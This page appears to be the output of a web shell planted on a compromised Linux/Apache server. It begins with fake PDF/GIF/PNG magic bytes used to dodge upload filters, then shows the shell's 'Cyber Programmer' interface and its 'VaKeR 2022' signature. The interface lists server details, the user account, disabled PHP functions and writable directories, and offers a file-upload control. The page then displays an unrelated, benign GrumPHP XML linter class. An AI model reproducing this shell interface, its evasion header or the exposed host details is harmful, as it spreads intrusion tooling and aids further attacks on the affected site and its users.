%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Linter/Xml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/src/Linter/Xml/XmlLintError.php
<?php

declare(strict_types=1);

namespace GrumPHP\Linter\Xml;

use GrumPHP\Linter\LintError;
use LibXMLError;

class XmlLintError extends LintError
{
    /**
     * @var int
     */
    private $code;

    /**
     * @var int
     */
    private $column;

    public function __construct(
        string $type,
        int $code,
        string $error,
        string $file,
        int $line,
        int $column
    ) {
        parent::__construct($type, $error, $file, $line);
        $this->code = $code;
        $this->column = $column;
    }

    public static function fromLibXmlError(LibXMLError $error): self
    {
        $type = LintError::TYPE_NONE;
        switch ($error->level) {
            case LIBXML_ERR_WARNING:
                $type = LintError::TYPE_WARNING;
                break;
            case LIBXML_ERR_FATAL:
                $type = LintError::TYPE_FATAL;
                break;
            case LIBXML_ERR_ERROR:
                $type = LintError::TYPE_ERROR;
                break;
        }

        return new self($type, $error->code, $error->message, $error->file, $error->line, $error->column);
    }

    public function getCode(): int
    {
        return $this->code;
    }

    public function getColumn(): int
    {
        return $this->column;
    }

    public function __toString(): string
    {
        return sprintf(
            '[%s] %s: %s (%s) on line %s,%s',
            strtoupper($this->getType()),
            $this->getFile(),
            $this->getError(),
            $this->getCode() ?: 0,
            $this->getLine(),
            $this->getColumn() ?: 0
        );
    }
}

VaKeR 2022